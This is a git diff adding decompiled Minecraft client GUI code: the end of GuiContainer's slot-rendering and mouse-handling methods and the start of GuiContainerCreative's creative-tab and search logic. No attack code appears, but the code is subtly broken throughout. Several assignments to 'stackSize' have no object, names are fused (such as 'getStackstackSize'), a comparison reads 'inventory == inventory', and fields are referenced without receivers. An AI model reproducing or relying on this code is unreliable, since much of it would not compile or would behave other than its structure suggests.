+    RenderHelper.enableGUIStandardItemLighting();
+    GlStateManager.pushMatrix();
+    GlStateManager.translate(var4, var5, 0.0F);
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    GlStateManager.enableRescaleNormal();
+    theSlot = null;
+    short var6 = 240;
+    short var7 = 240;
+    OpenGlHelper.setLightmapTextureCoords(OpenGlHelper.lightmapTexUnit, var6 / 1.0F, var7 / 1.0F);
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    
+
+    for (int var8 = 0; var8 < inventorySlots.inventorySlots.size(); var8++)
+    {
+      Slot var9 = (Slot)inventorySlots.inventorySlots.get(var8);
+      drawSlot(var9);
+      
+      if ((isMouseOverSlot(var9, mouseX, mouseY)) && (var9.canBeHovered()))
+      {
+        theSlot = var9;
+        GlStateManager.disableLighting();
+        GlStateManager.disableDepth();
+        int var10 = xDisplayPosition;
+        int var11 = yDisplayPosition;
+        GlStateManager.colorMask(true, true, true, false);
+        drawGradientRect(var10, var11, var10 + 16, var11 + 16, -2130706433, -2130706433);
+        GlStateManager.colorMask(true, true, true, true);
+        GlStateManager.enableLighting();
+        GlStateManager.enableDepth();
+      }
+    }
+    
+    RenderHelper.disableStandardItemLighting();
+    drawGuiContainerForegroundLayer(mouseX, mouseY);
+    RenderHelper.enableGUIStandardItemLighting();
+    InventoryPlayer var15 = mc.thePlayer.inventory;
+    ItemStack var16 = draggedStack == null ? var15.getItemStack() : draggedStack;
+    
+    if (var16 != null)
+    {
+      byte var17 = 8;
+      int var11 = draggedStack == null ? 8 : 16;
+      String var12 = null;
+      
+      if ((draggedStack != null) && (isRightMouseClick))
+      {
+        var16 = var16.copy();
+        stackSize = net.minecraft.util.MathHelper.ceiling_float_int(stackSize / 2.0F);
+      }
+      else if ((dragSplitting) && (dragSplittingSlots.size() > 1))
+      {
+        var16 = var16.copy();
+        stackSize = dragSplittingRemnant;
+        
+        if (stackSize == 0)
+        {
+          var12 = EnumChatFormatting.YELLOW + "0";
+        }
+      }
+      
+      drawItemStack(var16, mouseX - var4 - var17, mouseY - var5 - var11, var12);
+    }
+    
+    if (returningStack != null)
+    {
+      float var18 = (float)(Minecraft.getSystemTime() - returningStackTime) / 100.0F;
+      
+      if (var18 >= 1.0F)
+      {
+        var18 = 1.0F;
+        returningStack = null;
+      }
+      
+      int var11 = returningStackDestSlot.xDisplayPosition - touchUpX;
+      int var20 = returningStackDestSlot.yDisplayPosition - touchUpY;
+      int var13 = touchUpX + (int)(var11 * var18);
+      int var14 = touchUpY + (int)(var20 * var18);
+      drawItemStack(returningStack, var13, var14, null);
+    }
+    
+    GlStateManager.popMatrix();
+    
+    if ((var15.getItemStack() == null) && (theSlot != null) && (theSlot.getHasStack()))
+    {
+      ItemStack var19 = theSlot.getStack();
+      renderToolTip(var19, mouseX, mouseY);
+    }
+    
+    GlStateManager.enableLighting();
+    GlStateManager.enableDepth();
+    RenderHelper.enableStandardItemLighting();
+  }
+  
+
+
+
+  private void drawItemStack(ItemStack stack, int x, int y, String altText)
+  {
+    GlStateManager.translate(0.0F, 0.0F, 32.0F);
+    zLevel = 200.0F;
+    itemRender.zLevel = 200.0F;
+    itemRender.func_180450_b(stack, x, y);
+    itemRender.func_180453_a(fontRendererObj, stack, x, y - (draggedStack == null ? 0 : 8), altText);
+    zLevel = 0.0F;
+    itemRender.zLevel = 0.0F;
+  }
+  
+
+
+  protected void drawGuiContainerForegroundLayer(int mouseX, int mouseY) {}
+  
+
+
+  protected abstract void drawGuiContainerBackgroundLayer(float paramFloat, int paramInt1, int paramInt2);
+  
+
+
+  private void drawSlot(Slot slotIn)
+  {
+    int var2 = xDisplayPosition;
+    int var3 = yDisplayPosition;
+    ItemStack var4 = slotIn.getStack();
+    boolean var5 = false;
+    boolean var6 = (slotIn == clickedSlot) && (draggedStack != null) && (!isRightMouseClick);
+    ItemStack var7 = mc.thePlayer.inventory.getItemStack();
+    String var8 = null;
+    
+    if ((slotIn == clickedSlot) && (draggedStack != null) && (isRightMouseClick) && (var4 != null))
+    {
+      var4 = var4.copy();
+      stackSize /= 2;
+    }
+    else if ((dragSplitting) && (dragSplittingSlots.contains(slotIn)) && (var7 != null))
+    {
+      if (dragSplittingSlots.size() == 1)
+      {
+        return;
+      }
+      
+      if ((Container.canAddItemToSlot(slotIn, var7, true)) && (inventorySlots.canDragIntoSlot(slotIn)))
+      {
+        var4 = var7.copy();
+        var5 = true;
+        Container.computeStackSize(dragSplittingSlots, dragSplittingLimit, var4, slotIn.getStack() == null ? 0 : getStackstackSize);
+        
+        if (stackSize > var4.getMaxStackSize())
+        {
+          var8 = EnumChatFormatting.YELLOW + var4.getMaxStackSize();
+          stackSize = var4.getMaxStackSize();
+        }
+        
+        if (stackSize > slotIn.func_178170_b(var4))
+        {
+          var8 = EnumChatFormatting.YELLOW + slotIn.func_178170_b(var4);
+          stackSize = slotIn.func_178170_b(var4);
+        }
+      }
+      else
+      {
+        dragSplittingSlots.remove(slotIn);
+        updateDragSplitting();
+      }
+    }
+    
+    zLevel = 100.0F;
+    itemRender.zLevel = 100.0F;
+    
+    if (var4 == null)
+    {
+      String var9 = slotIn.func_178171_c();
+      
+      if (var9 != null)
+      {
+        net.minecraft.client.renderer.texture.TextureAtlasSprite var10 = mc.getTextureMapBlocks().getAtlasSprite(var9);
+        GlStateManager.disableLighting();
+        mc.getTextureManager().bindTexture(TextureMap.locationBlocksTexture);
+        func_175175_a(var2, var3, var10, 16, 16);
+        GlStateManager.enableLighting();
+        var6 = true;
+      }
+    }
+    
+    if (!var6)
+    {
+      if (var5)
+      {
+        drawRect(var2, var3, var2 + 16, var3 + 16, -2130706433);
+      }
+      
+      GlStateManager.enableDepth();
+      itemRender.func_180450_b(var4, var2, var3);
+      itemRender.func_180453_a(fontRendererObj, var4, var2, var3, var8);
+    }
+    
+    itemRender.zLevel = 0.0F;
+    zLevel = 0.0F;
+  }
+  
+  private void updateDragSplitting()
+  {
+    ItemStack var1 = mc.thePlayer.inventory.getItemStack();
+    
+    if ((var1 != null) && (dragSplitting))
+    {
+      dragSplittingRemnant = stackSize;
+      
+      ItemStack var4;
+      int var5;
+      for (Iterator var2 = dragSplittingSlots.iterator(); var2.hasNext(); dragSplittingRemnant -= stackSize - var5)
+      {
+        Slot var3 = (Slot)var2.next();
+        var4 = var1.copy();
+        var5 = var3.getStack() == null ? 0 : getStackstackSize;
+        Container.computeStackSize(dragSplittingSlots, dragSplittingLimit, var4, var5);
+        
+        if (stackSize > var4.getMaxStackSize())
+        {
+          stackSize = var4.getMaxStackSize();
+        }
+        
+        if (stackSize > var3.func_178170_b(var4))
+        {
+          stackSize = var3.func_178170_b(var4);
+        }
+      }
+    }
+  }
+  
+
+
+
+  private Slot getSlotAtPosition(int x, int y)
+  {
+    for (int var3 = 0; var3 < inventorySlots.inventorySlots.size(); var3++)
+    {
+      Slot var4 = (Slot)inventorySlots.inventorySlots.get(var3);
+      
+      if (isMouseOverSlot(var4, x, y))
+      {
+        return var4;
+      }
+    }
+    
+    return null;
+  }
+  
+
+
+  protected void mouseClicked(int mouseX, int mouseY, int mouseButton)
+    throws java.io.IOException
+  {
+    super.mouseClicked(mouseX, mouseY, mouseButton);
+    boolean var4 = mouseButton == mc.gameSettings.keyBindPickBlock.getKeyCode() + 100;
+    Slot var5 = getSlotAtPosition(mouseX, mouseY);
+    long var6 = Minecraft.getSystemTime();
+    doubleClick = ((lastClickSlot == var5) && (var6 - lastClickTime < 250L) && (lastClickButton == mouseButton));
+    ignoreMouseUp = false;
+    
+    if ((mouseButton == 0) || (mouseButton == 1) || (var4))
+    {
+      int var8 = guiLeft;
+      int var9 = guiTop;
+      boolean var10 = (mouseX < var8) || (mouseY < var9) || (mouseX >= var8 + xSize) || (mouseY >= var9 + ySize);
+      int var11 = -1;
+      
+      if (var5 != null)
+      {
+        var11 = slotNumber;
+      }
+      
+      if (var10)
+      {
+        var11 = 64537;
+      }
+      
+      if ((mc.gameSettings.touchscreen) && (var10) && (mc.thePlayer.inventory.getItemStack() == null))
+      {
+        mc.displayGuiScreen(null);
+        return;
+      }
+      
+      if (var11 != -1)
+      {
+        if (mc.gameSettings.touchscreen)
+        {
+          if ((var5 != null) && (var5.getHasStack()))
+          {
+            clickedSlot = var5;
+            draggedStack = null;
+            isRightMouseClick = (mouseButton == 1);
+          }
+          else
+          {
+            clickedSlot = null;
+          }
+        }
+        else if (!dragSplitting)
+        {
+          if (mc.thePlayer.inventory.getItemStack() == null)
+          {
+            if (mouseButton == mc.gameSettings.keyBindPickBlock.getKeyCode() + 100)
+            {
+              handleMouseClick(var5, var11, mouseButton, 3);
+            }
+            else
+            {
+              boolean var12 = (var11 != 64537) && ((Keyboard.isKeyDown(42)) || (Keyboard.isKeyDown(54)));
+              byte var13 = 0;
+              
+              if (var12)
+              {
+                shiftClickedSlot = ((var5 != null) && (var5.getHasStack()) ? var5.getStack() : null);
+                var13 = 1;
+              }
+              else if (var11 == 64537)
+              {
+                var13 = 4;
+              }
+              
+              handleMouseClick(var5, var11, mouseButton, var13);
+            }
+            
+            ignoreMouseUp = true;
+          }
+          else
+          {
+            dragSplitting = true;
+            dragSplittingButton = mouseButton;
+            dragSplittingSlots.clear();
+            
+            if (mouseButton == 0)
+            {
+              dragSplittingLimit = 0;
+            }
+            else if (mouseButton == 1)
+            {
+              dragSplittingLimit = 1;
+            }
+            else if (mouseButton == mc.gameSettings.keyBindPickBlock.getKeyCode() + 100)
+            {
+              dragSplittingLimit = 2;
+            }
+          }
+        }
+      }
+    }
+    
+    lastClickSlot = var5;
+    lastClickTime = var6;
+    lastClickButton = mouseButton;
+  }
+  
+
+
+
+
+  protected void mouseClickMove(int mouseX, int mouseY, int clickedMouseButton, long timeSinceLastClick)
+  {
+    Slot var6 = getSlotAtPosition(mouseX, mouseY);
+    ItemStack var7 = mc.thePlayer.inventory.getItemStack();
+    
+    if ((clickedSlot != null) && (mc.gameSettings.touchscreen))
+    {
+      if ((clickedMouseButton == 0) || (clickedMouseButton == 1))
+      {
+        if (draggedStack == null)
+        {
+          if (var6 != clickedSlot)
+          {
+            draggedStack = clickedSlot.getStack().copy();
+          }
+        }
+        else if ((draggedStack.stackSize > 1) && (var6 != null) && (Container.canAddItemToSlot(var6, draggedStack, false)))
+        {
+          long var8 = Minecraft.getSystemTime();
+          
+          if (currentDragTargetSlot == var6)
+          {
+            if (var8 - dragItemDropDelay > 500L)
+            {
+              handleMouseClick(clickedSlot, clickedSlot.slotNumber, 0, 0);
+              handleMouseClick(var6, slotNumber, 1, 0);
+              handleMouseClick(clickedSlot, clickedSlot.slotNumber, 0, 0);
+              dragItemDropDelay = (var8 + 750L);
+              draggedStack.stackSize -= 1;
+            }
+          }
+          else
+          {
+            currentDragTargetSlot = var6;
+            dragItemDropDelay = var8;
+          }
+        }
+      }
+    }
+    else if ((dragSplitting) && (var6 != null) && (var7 != null) && (stackSize > dragSplittingSlots.size()) && (Container.canAddItemToSlot(var6, var7, true)) && (var6.isItemValid(var7)) && (inventorySlots.canDragIntoSlot(var6)))
+    {
+      dragSplittingSlots.add(var6);
+      updateDragSplitting();
+    }
+  }
+  
+
+
+
+  protected void mouseReleased(int mouseX, int mouseY, int state)
+  {
+    Slot var4 = getSlotAtPosition(mouseX, mouseY);
+    int var5 = guiLeft;
+    int var6 = guiTop;
+    boolean var7 = (mouseX < var5) || (mouseY < var6) || (mouseX >= var5 + xSize) || (mouseY >= var6 + ySize);
+    int var8 = -1;
+    
+    if (var4 != null)
+    {
+      var8 = slotNumber;
+    }
+    
+    if (var7)
+    {
+      var8 = 64537;
+    }
+    
+
+
+
+    if ((doubleClick) && (var4 != null) && (state == 0) && (inventorySlots.func_94530_a(null, var4)))
+    {
+      if (isShiftKeyDown())
+      {
+        if ((var4 != null) && (inventory != null) && (shiftClickedSlot != null))
+        {
+          Iterator var11 = inventorySlots.inventorySlots.iterator();
+          
+          while (var11.hasNext())
+          {
+            Slot var10 = (Slot)var11.next();
+            
+            if ((var10 != null) && (var10.canTakeStack(mc.thePlayer)) && (var10.getHasStack()) && (inventory == inventory) && (Container.canAddItemToSlot(var10, shiftClickedSlot, true)))
+            {
+              handleMouseClick(var10, slotNumber, state, 1);
+            }
+            
+          }
+        }
+      }
+      else {
+        handleMouseClick(var4, var8, state, 6);
+      }
+      
+      doubleClick = false;
+      lastClickTime = 0L;
+    }
+    else
+    {
+      if ((dragSplitting) && (dragSplittingButton != state))
+      {
+        dragSplitting = false;
+        dragSplittingSlots.clear();
+        ignoreMouseUp = true;
+        return;
+      }
+      
+      if (ignoreMouseUp)
+      {
+        ignoreMouseUp = false;
+        return;
+      }
+      
+
+
+      if ((clickedSlot != null) && (mc.gameSettings.touchscreen))
+      {
+        if ((state == 0) || (state == 1))
+        {
+          if ((draggedStack == null) && (var4 != clickedSlot))
+          {
+            draggedStack = clickedSlot.getStack();
+          }
+          
+          boolean var9 = Container.canAddItemToSlot(var4, draggedStack, false);
+          
+          if ((var8 != -1) && (draggedStack != null) && (var9))
+          {
+            handleMouseClick(clickedSlot, clickedSlot.slotNumber, state, 0);
+            handleMouseClick(var4, var8, 0, 0);
+            
+            if (mc.thePlayer.inventory.getItemStack() != null)
+            {
+              handleMouseClick(clickedSlot, clickedSlot.slotNumber, state, 0);
+              touchUpX = (mouseX - var5);
+              touchUpY = (mouseY - var6);
+              returningStackDestSlot = clickedSlot;
+              returningStack = draggedStack;
+              returningStackTime = Minecraft.getSystemTime();
+            }
+            else
+            {
+              returningStack = null;
+            }
+          }
+          else if (draggedStack != null)
+          {
+            touchUpX = (mouseX - var5);
+            touchUpY = (mouseY - var6);
+            returningStackDestSlot = clickedSlot;
+            returningStack = draggedStack;
+            returningStackTime = Minecraft.getSystemTime();
+          }
+          
+          draggedStack = null;
+          clickedSlot = null;
+        }
+      }
+      else if ((dragSplitting) && (!dragSplittingSlots.isEmpty()))
+      {
+        handleMouseClick(null, 64537, Container.func_94534_d(0, dragSplittingLimit), 5);
+        Iterator var11 = dragSplittingSlots.iterator();
+        
+        while (var11.hasNext())
+        {
+          Slot var10 = (Slot)var11.next();
+          handleMouseClick(var10, slotNumber, Container.func_94534_d(1, dragSplittingLimit), 5);
+        }
+        
+        handleMouseClick(null, 64537, Container.func_94534_d(2, dragSplittingLimit), 5);
+      }
+      else if (mc.thePlayer.inventory.getItemStack() != null)
+      {
+        if (state == mc.gameSettings.keyBindPickBlock.getKeyCode() + 100)
+        {
+          handleMouseClick(var4, var8, state, 3);
+        }
+        else
+        {
+          boolean var9 = (var8 != 64537) && ((Keyboard.isKeyDown(42)) || (Keyboard.isKeyDown(54)));
+          
+          if (var9)
+          {
+            shiftClickedSlot = ((var4 != null) && (var4.getHasStack()) ? var4.getStack() : null);
+          }
+          
+          handleMouseClick(var4, var8, state, var9 ? 1 : 0);
+        }
+      }
+    }
+    
+    if (mc.thePlayer.inventory.getItemStack() == null)
+    {
+      lastClickTime = 0L;
+    }
+    
+    dragSplitting = false;
+  }
+  
+
+
+
+  private boolean isMouseOverSlot(Slot slotIn, int mouseX, int mouseY)
+  {
+    return isPointInRegion(xDisplayPosition, yDisplayPosition, 16, 16, mouseX, mouseY);
+  }
+  
+
+
+
+
+  protected boolean isPointInRegion(int left, int top, int right, int bottom, int pointX, int pointY)
+  {
+    int var7 = guiLeft;
+    int var8 = guiTop;
+    pointX -= var7;
+    pointY -= var8;
+    return (pointX >= left - 1) && (pointX < left + right + 1) && (pointY >= top - 1) && (pointY < top + bottom + 1);
+  }
+  
+
+
+
+  protected void handleMouseClick(Slot slotIn, int slotId, int clickedButton, int clickType)
+  {
+    if (slotIn != null)
+    {
+      slotId = slotNumber;
+    }
+    
+    mc.playerController.windowClick(inventorySlots.windowId, slotId, clickedButton, clickType, mc.thePlayer);
+  }
+  
+
+
+
+  protected void keyTyped(char typedChar, int keyCode)
+    throws java.io.IOException
+  {
+    if ((keyCode == 1) || (keyCode == mc.gameSettings.keyBindInventory.getKeyCode()))
+    {
+      mc.thePlayer.closeScreen();
+    }
+    
+    checkHotbarKeys(keyCode);
+    
+    if ((theSlot != null) && (theSlot.getHasStack()))
+    {
+      if (keyCode == mc.gameSettings.keyBindPickBlock.getKeyCode())
+      {
+        handleMouseClick(theSlot, theSlot.slotNumber, 0, 3);
+      }
+      else if (keyCode == mc.gameSettings.keyBindDrop.getKeyCode())
+      {
+        handleMouseClick(theSlot, theSlot.slotNumber, isCtrlKeyDown() ? 1 : 0, 4);
+      }
+    }
+  }
+  
+
+
+
+
+  protected boolean checkHotbarKeys(int keyCode)
+  {
+    if ((mc.thePlayer.inventory.getItemStack() == null) && (theSlot != null))
+    {
+      for (int var2 = 0; var2 < 9; var2++)
+      {
+        if (keyCode == mc.gameSettings.keyBindsHotbar[var2].getKeyCode())
+        {
+          handleMouseClick(theSlot, theSlot.slotNumber, var2, 2);
+          return true;
+        }
+      }
+    }
+    
+    return false;
+  }
+  
+
+
+
+  public void onGuiClosed()
+  {
+    if (mc.thePlayer != null)
+    {
+      inventorySlots.onContainerClosed(mc.thePlayer);
+    }
+  }
+  
+
+
+
+  public boolean doesGuiPauseGame()
+  {
+    return false;
+  }
+  
+
+
+
+  public void updateScreen()
+  {
+    super.updateScreen();
+    
+    if ((!mc.thePlayer.isEntityAlive()) || (mc.thePlayer.isDead))
+    {
+      mc.thePlayer.closeScreen();
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/inventory/GuiContainerCreative.java b/src/minecraft/net/minecraft/client/gui/inventory/GuiContainerCreative.java
new file mode 100644
index 0000000..b6872c9
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/inventory/GuiContainerCreative.java
@@ -0,0 +1,1053 @@
+package net.minecraft.client.gui.inventory;
+
+import java.io.IOException;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.gui.FontRenderer;
+import net.minecraft.client.gui.GuiButton;
+import net.minecraft.client.gui.GuiTextField;
+import net.minecraft.client.multiplayer.PlayerControllerMP;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.InventoryEffectRenderer;
+import net.minecraft.client.renderer.entity.RenderItem;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.enchantment.Enchantment;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.init.Items;
+import net.minecraft.inventory.Container;
+import net.minecraft.inventory.IInventory;
+import net.minecraft.inventory.InventoryBasic;
+import net.minecraft.inventory.Slot;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.EnumChatFormatting;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.ResourceLocation;
+import org.lwjgl.input.Mouse;
+
+public class GuiContainerCreative extends InventoryEffectRenderer
+{
+  private static final ResourceLocation creativeInventoryTabs = new ResourceLocation("textures/gui/container/creative_inventory/tabs.png");
+  private static InventoryBasic field_147060_v = new InventoryBasic("tmp", true, 45);
+  
+
+  private static int selectedTabIndex = CreativeTabs.tabBlock.getTabIndex();
+  
+  private float currentScroll;
+  
+  private boolean isScrolling;
+  
+  private boolean wasClicking;
+  
+  private GuiTextField searchField;
+  
+  private List field_147063_B;
+  
+  private Slot field_147064_C;
+  
+  private boolean field_147057_D;
+  
+  private CreativeCrafting field_147059_E;
+  private static final String __OBFID = "CL_00000752";
+  
+  public GuiContainerCreative(EntityPlayer p_i1088_1_)
+  {
+    super(new ContainerCreative(p_i1088_1_));
+    openContainer = inventorySlots;
+    allowUserInput = true;
+    ySize = 136;
+    xSize = 195;
+  }
+  
+
+
+
+  public void updateScreen()
+  {
+    if (!mc.playerController.isInCreativeMode())
+    {
+      mc.displayGuiScreen(new GuiInventory(mc.thePlayer));
+    }
+    
+    func_175378_g();
+  }
+  
+
+
+
+  protected void handleMouseClick(Slot slotIn, int slotId, int clickedButton, int clickType)
+  {
+    field_147057_D = true;
+    boolean var5 = clickType == 1;
+    clickType = (slotId == 64537) && (clickType == 0) ? 4 : clickType;
+    
+
+
+    if ((slotIn == null) && (selectedTabIndex != CreativeTabs.tabInventory.getTabIndex()) && (clickType != 5))
+    {
+      InventoryPlayer var11 = mc.thePlayer.inventory;
+      
+      if (var11.getItemStack() != null)
+      {
+        if (clickedButton == 0)
+        {
+          mc.thePlayer.dropPlayerItemWithRandomChoice(var11.getItemStack(), true);
+          mc.playerController.sendPacketDropItem(var11.getItemStack());
+          var11.setItemStack(null);
+        }
+        
+        if (clickedButton == 1)
+        {
+          ItemStack var7 = var11.getItemStack().splitStack(1);
+          mc.thePlayer.dropPlayerItemWithRandomChoice(var7, true);
+          mc.playerController.sendPacketDropItem(var7);
+          
+          if (getItemStackstackSize == 0)
+          {
+            var11.setItemStack(null);
+          }
+          
+        }
+        
+      }
+      
+
+    }
+    else if ((slotIn == field_147064_C) && (var5))
+    {
+      for (int var10 = 0; var10 < mc.thePlayer.inventoryContainer.getInventory().size(); var10++)
+      {
+        mc.playerController.sendSlotPacket(null, var10);
+
+      }
+      
+
+
+    }
+    else if (selectedTabIndex == CreativeTabs.tabInventory.getTabIndex())
+    {
+      if (slotIn == field_147064_C)
+      {
+        mc.thePlayer.inventory.setItemStack(null);
+      }
+      else if ((clickType == 4) && (slotIn != null) && (slotIn.getHasStack()))
+      {
+        ItemStack var6 = slotIn.decrStackSize(clickedButton == 0 ? 1 : slotIn.getStack().getMaxStackSize());
+        mc.thePlayer.dropPlayerItemWithRandomChoice(var6, true);
+        mc.playerController.sendPacketDropItem(var6);
+      }
+      else if ((clickType == 4) && (mc.thePlayer.inventory.getItemStack() != null))
+      {
+        mc.thePlayer.dropPlayerItemWithRandomChoice(mc.thePlayer.inventory.getItemStack(), true);
+        mc.playerController.sendPacketDropItem(mc.thePlayer.inventory.getItemStack());
+        mc.thePlayer.inventory.setItemStack(null);
+      }
+      else
+      {
+        mc.thePlayer.inventoryContainer.slotClick(slotIn == null ? slotId : field_148332_b.slotNumber, clickedButton, clickType, mc.thePlayer);
+        mc.thePlayer.inventoryContainer.detectAndSendChanges();
+      }
+    }
+    else if ((clickType != 5) && (inventory == field_147060_v))
+    {
+      InventoryPlayer var11 = mc.thePlayer.inventory;
+      ItemStack var7 = var11.getItemStack();
+      ItemStack var8 = slotIn.getStack();
+      
+
+      if (clickType == 2)
+      {
+        if ((var8 != null) && (clickedButton >= 0) && (clickedButton < 9))
+        {
+          ItemStack var9 = var8.copy();
+          stackSize = var9.getMaxStackSize();
+          mc.thePlayer.inventory.setInventorySlotContents(clickedButton, var9);
+          mc.thePlayer.inventoryContainer.detectAndSendChanges();
+        }
+        
+        return;
+      }
+      
+      if (clickType == 3)
+      {
+        if ((var11.getItemStack() == null) && (slotIn.getHasStack()))
+        {
+          ItemStack var9 = slotIn.getStack().copy();
+          stackSize = var9.getMaxStackSize();
+          var11.setItemStack(var9);
+        }
+        
+        return;
+      }
+      
+      if (clickType == 4)
+      {
+        if (var8 != null)
+        {
+          ItemStack var9 = var8.copy();
+          stackSize = (clickedButton == 0 ? 1 : var9.getMaxStackSize());
+          mc.thePlayer.dropPlayerItemWithRandomChoice(var9, true);
+          mc.playerController.sendPacketDropItem(var9);
+        }
+        
+        return;
+      }
+      
+      if ((var7 != null) && (var8 != null) && (var7.isItemEqual(var8)))
+      {
+        if (clickedButton == 0)
+        {
+          if (var5)
+          {
+            stackSize = var7.getMaxStackSize();
+          }
+          else if (stackSize < var7.getMaxStackSize())
+          {
+            stackSize += 1;
+          }
+        }
+        else if (stackSize <= 1)
+        {
+          var11.setItemStack(null);
+        }
+        else
+        {
+          stackSize -= 1;
+        }
+      }
+      else if ((var8 != null) && (var7 == null))
+      {
+        var11.setItemStack(ItemStack.copyItemStack(var8));
+        var7 = var11.getItemStack();
+        
+        if (var5)
+        {
+          stackSize = var7.getMaxStackSize();
+        }
+      }
+      else
+      {
+        var11.setItemStack(null);
+      }
+    }
+    else
+    {
+      inventorySlots.slotClick(slotIn == null ? slotId : slotNumber, clickedButton, clickType, mc.thePlayer);
+      
+      if (Container.getDragEvent(clickedButton) == 2)
+      {
+        for (int var10 = 0; var10 < 9; var10++)
+        {
+          mc.playerController.sendSlotPacket(inventorySlots.getSlot(45 + var10).getStack(), 36 + var10);
+        }
+      }
+      else if (slotIn != null)
+      {
+        ItemStack var6 = inventorySlots.getSlot(slotNumber).getStack();
+        mc.playerController.sendSlotPacket(var6, slotNumber - inventorySlots.inventorySlots.size() + 9 + 36);
+      }
+    }
+  }
+  
+
+
+
+
+
+  public void initGui()
+  {
+    if (mc.playerController.isInCreativeMode())
+    {
+      super.initGui();
+      buttonList.clear();
+      org.lwjgl.input.Keyboard.enableRepeatEvents(true);
+      searchField = new GuiTextField(0, fontRendererObj, guiLeft + 82, guiTop + 6, 89, fontRendererObj.FONT_HEIGHT);
+      searchField.setMaxStringLength(15);
+      searchField.setEnableBackgroundDrawing(false);
+      searchField.setVisible(false);
+      searchField.setTextColor(16777215);
+      int var1 = selectedTabIndex;
+      selectedTabIndex = -1;
+      setCurrentCreativeTab(CreativeTabs.creativeTabArray[var1]);
+      field_147059_E = new CreativeCrafting(mc);
+      mc.thePlayer.inventoryContainer.onCraftGuiOpened(field_147059_E);
+    }
+    else
+    {
+      mc.displayGuiScreen(new GuiInventory(mc.thePlayer));
+    }
+  }
+  
+
+
+
+  public void onGuiClosed()
+  {
+    super.onGuiClosed();
+    
+    if ((mc.thePlayer != null) && (mc.thePlayer.inventory != null))
+    {
+      mc.thePlayer.inventoryContainer.removeCraftingFromCrafters(field_147059_E);
+    }
+    
+    org.lwjgl.input.Keyboard.enableRepeatEvents(false);
+  }
+  
+
+
+
+  protected void keyTyped(char typedChar, int keyCode)
+    throws IOException
+  {
+    if (selectedTabIndex != CreativeTabs.tabAllSearch.getTabIndex())
+    {
+      if (GameSettings.isKeyDown(mc.gameSettings.keyBindChat))
+      {
+        setCurrentCreativeTab(CreativeTabs.tabAllSearch);
+      }
+      else
+      {
+        super.keyTyped(typedChar, keyCode);
+      }
+    }
+    else
+    {
+      if (field_147057_D)
+      {
+        field_147057_D = false;
+        searchField.setText("");
+      }
+      
+      if (!checkHotbarKeys(keyCode))
+      {
+        if (searchField.textboxKeyTyped(typedChar, keyCode))
+        {
+          updateCreativeSearch();
+        }
+        else
+        {
+          super.keyTyped(typedChar, keyCode);
+        }
+      }
+    }
+  }
+  
+  private void updateCreativeSearch()
+  {
+    ContainerCreative var1 = (ContainerCreative)inventorySlots;
+    itemList.clear();
+    Iterator var2 = Item.itemRegistry.iterator();
+    
+    while (var2.hasNext())
+    {
+      Item var3 = (Item)var2.next();
+      
+      if ((var3 != null) && (var3.getCreativeTab() != null))
+      {
+        var3.getSubItems(var3, null, itemList);
+      }
+    }
+    
+    Enchantment[] var8 = Enchantment.enchantmentsList;
+    int var9 = var8.length;
+    
+    for (int var4 = 0; var4 < var9; var4++)
+    {
+      Enchantment var5 = var8[var4];
+      
+      if ((var5 != null) && (type != null))
+      {
+        Items.enchanted_book.func_92113_a(var5, itemList);
+      }
+    }
+    
+    var2 = itemList.iterator();
+    String var10 = searchField.getText().toLowerCase();
+    
+    while (var2.hasNext())
+    {
+      ItemStack var11 = (ItemStack)var2.next();
+      boolean var12 = false;
+      Iterator var6 = var11.getTooltip(mc.thePlayer, mc.gameSettings.advancedItemTooltips).iterator();
+      
+
+
+      while (var6.hasNext())
+      {
+        String var7 = (String)var6.next();
+        
+        if (EnumChatFormatting.getTextWithoutFormattingCodes(var7).toLowerCase().contains(var10))
+        {
+
+
+
+          var12 = true;
+        }
+      }
+      if (!var12)
+      {
+        var2.remove();
+      }
+    }
+    
+
+
+
+    currentScroll = 0.0F;
+    var1.scrollTo(0.0F);
+  }
+  
+
+
+
+  protected void drawGuiContainerForegroundLayer(int mouseX, int mouseY)
+  {
+    CreativeTabs var3 = CreativeTabs.creativeTabArray[selectedTabIndex];
+    
+    if (var3.drawInForegroundOfTab())
+    {
+      GlStateManager.disableBlend();
+      fontRendererObj.drawString(I18n.format(var3.getTranslatedTabLabel(), new Object[0]), 8, 6, 4210752);
+    }
+  }
+  
+
+
+  protected void mouseClicked(int mouseX, int mouseY, int mouseButton)
+    throws IOException
+  {
+    if (mouseButton == 0)
+    {
+      int var4 = mouseX - guiLeft;
+      int var5 = mouseY - guiTop;
+      CreativeTabs[] var6 = CreativeTabs.creativeTabArray;
+      int var7 = var6.length;
+      
+      for (int var8 = 0; var8 < var7; var8++)
+      {
+        CreativeTabs var9 = var6[var8];
+        
+        if (func_147049_a(var9, var4, var5))
+        {
+          return;
+        }
+      }
+    }
+    
+    super.mouseClicked(mouseX, mouseY, mouseButton);
+  }
+  
+
+
+
+  protected void mouseReleased(int mouseX, int mouseY, int state)
+  {
+    if (state == 0)
+    {
+      int var4 = mouseX - guiLeft;
+      int var5 = mouseY - guiTop;
+      CreativeTabs[] var6 = CreativeTabs.creativeTabArray;
+      int var7 = var6.length;
+      
+      for (int var8 = 0; var8 < var7; var8++)
+      {
+        CreativeTabs var9 = var6[var8];
+        
+        if (func_147049_a(var9, var4, var5))
+        {
+          setCurrentCreativeTab(var9);
+          return;
+        }
+      }
+    }
+    
+    super.mouseReleased(mouseX, mouseY, state);
+  }
+  
+
+
+
+  private boolean needsScrollBars()
+  {
+    return (selectedTabIndex != CreativeTabs.tabInventory.getTabIndex()) && (CreativeTabs.creativeTabArray[selectedTabIndex].shouldHidePlayerInventory()) && (((ContainerCreative)inventorySlots).func_148328_e());
+  }
